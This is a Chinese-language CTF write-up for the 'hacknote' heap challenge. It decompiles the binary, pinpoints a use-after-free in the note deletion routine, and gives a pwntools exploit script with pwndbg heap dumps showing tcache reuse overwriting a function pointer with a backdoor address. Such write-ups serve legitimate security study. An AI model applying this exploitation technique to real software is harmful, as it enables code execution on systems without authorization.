分析

  1. checksec
1
2
3
➜  heap checksec --file=hacknote           
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 86) Symbols No 0 2hacknote
  1. ida
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+0h] [ebp-Ch] BYREF
int *p_argc; // [esp+4h] [ebp-8h]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}

menu函数:

1
2
3
4
5
6
7
8
9
10
11
12
int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

del_note函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int del_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)&notelist + v2);
if ( result )
{
free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
free(*((void **)&notelist + v2));
return puts("Success");
}
return result;
}

print_note函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int print_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)&notelist + v2);
if ( result )
return (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));
return result;
}

add_note函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int add_note()
{
int result; // eax
int v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]

result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = *((_DWORD *)&notelist + i);
if ( !result )
{
*((_DWORD *)&notelist + i) = malloc(8u);
if ( !*((_DWORD *)&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v1 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
puts("Success !");
return ++count;
}
}
return result;
}

利用

  1. 利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
#p = remote('node5.buuoj.cn',27318)
p = process('./hacknote')
def add(size,content):
p.sendlineafter('choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendlineafter('Content :',content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def print_(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
magic=0x08048945
add(30,"HAPPY")
add(30,"HAPPY")
delete(0)
delete(1)
#add(8,p32(magic))
gdb.attach(p)
pause()
#print_(0)
#p.interactive()
  1. 利用全流程

  1. 关键步骤解释
步骤 操作 堆状态变化
1 add(30,"A") 分配管理结构A(0x10) + 用户区A(0x30)
2 add(30,"B") 分配管理结构B(0x10) + 用户区B(0x30)
3 delete(0) 管理结构A进入tcache[0x10] 用户区A进入tcache[0x30]
4 delete(1) 管理结构B进入tcache[0x10]头部 用户区B进入tcache[0x30]
5 add(8,p32(magic)) 从tcache[0x10]取出M2 覆盖M2.print_func=magic
6 print(1) 调用M2.print_func()→执行magic
  1. 两次add后观察

可以看到,申请了0xa03d198,0xa03d1a8,0xa03d1d8,0xa03d1e8四个chunk

注意到他们size是不一样的,有两个是0x10,有两个是0x30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xa03d008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0xa03d198
Size: 0x10 (with flag bits: 0x11)

Allocated chunk | PREV_INUSE
Addr: 0xa03d1a8
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0xa03d1d8
Size: 0x10 (with flag bits: 0x11)

Allocated chunk | PREV_INUSE
Addr: 0xa03d1e8
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0xa03d218
Size: 0x21de8 (with flag bits: 0x21de9)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
pwndbg> heap -v
Allocated chunk | PREV_INUSE
Addr: 0xa03d008
prev_size: 0x00
size: 0x190 (with flag bits: 0x191)
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

Allocated chunk | PREV_INUSE
Addr: 0xa03d198
prev_size: 0x00
size: 0x10 (with flag bits: 0x11)
fd: 0x80485fb
bk: 0xa03d1b0
fd_nextsize: 0x00
bk_nextsize: 0x31

Allocated chunk | PREV_INUSE
Addr: 0xa03d1a8
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x50504148
bk: 0xa59
fd_nextsize: 0x00
bk_nextsize: 0x00

Allocated chunk | PREV_INUSE
Addr: 0xa03d1d8
prev_size: 0x00
size: 0x10 (with flag bits: 0x11)
fd: 0x80485fb
bk: 0xa03d1f0
fd_nextsize: 0x00
bk_nextsize: 0x31

Allocated chunk | PREV_INUSE
Addr: 0xa03d1e8
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x50504148
bk: 0xa59
fd_nextsize: 0x00
bk_nextsize: 0x00

Top chunk | PREV_INUSE
Addr: 0xa03d218
prev_size: 0x00
size: 0x21de8 (with flag bits: 0x21de9)
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00
  1. 两次delete后

可以看到chunk已经释放了,并且放到了tcachebins里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x9b65008
Size: 0x190 (with flag bits: 0x191)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9b65198
Size: 0x10 (with flag bits: 0x11)
fd: 0x9b65

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9b651a8
Size: 0x30 (with flag bits: 0x31)
fd: 0x9b65

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9b651d8
Size: 0x10 (with flag bits: 0x11)
fd: 0x9b6cac5

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9b651e8
Size: 0x30 (with flag bits: 0x31)
fd: 0x9b6cad5

Top chunk | PREV_INUSE
Addr: 0x9b65218
Size: 0x21de8 (with flag bits: 0x21de9)

查看一下bins,是否放到此处:

可以看到,tcachebins已经存储了释放的chunk

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> bins
tcachebins
0x10 [ 2]: 0x9b651e0 —▸ 0x9b651a0 ◂— 0
0x30 [ 2]: 0x9b651f0 —▸ 0x9b651b0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
  1. add后门函数后

可以发现有两个chunk被重新利用了0x83a5198,0x83a51d8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x83a5008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x83a5198
Size: 0x10 (with flag bits: 0x11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x83a51a8
Size: 0x30 (with flag bits: 0x31)
fd: 0x83a5

Allocated chunk | PREV_INUSE
Addr: 0x83a51d8
Size: 0x10 (with flag bits: 0x11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x83a51e8
Size: 0x30 (with flag bits: 0x31)
fd: 0x83ad215

Top chunk | PREV_INUSE
Addr: 0x83a5218
Size: 0x21de8 (with flag bits: 0x21de9)

查看chunk内存数据:

可以发现后门函数0x08048945已经被写入了

1
2
pwndbg> x/4wx 0x83a5198
0x83a5198: 0x00000000 0x00000011 0x08048945 0x0000000

问题

为什么add(8,p32(magic)),size为什么不是0x10?

可以看到在gdb里面,chunk size为0x10,这是实际chunk大小,但是真正的空间其实只有8,因为这里面是有个chunk 头。chunk结构如下:

1
2
3
4
5
struct malloc_chunk {
size_t prev_size; // 前一个 chunk 空闲时才有意义(4 字节)
size_t size; // 当前 chunk 大小 + 标志位(4 字节)
// 用户数据区从这里开始
};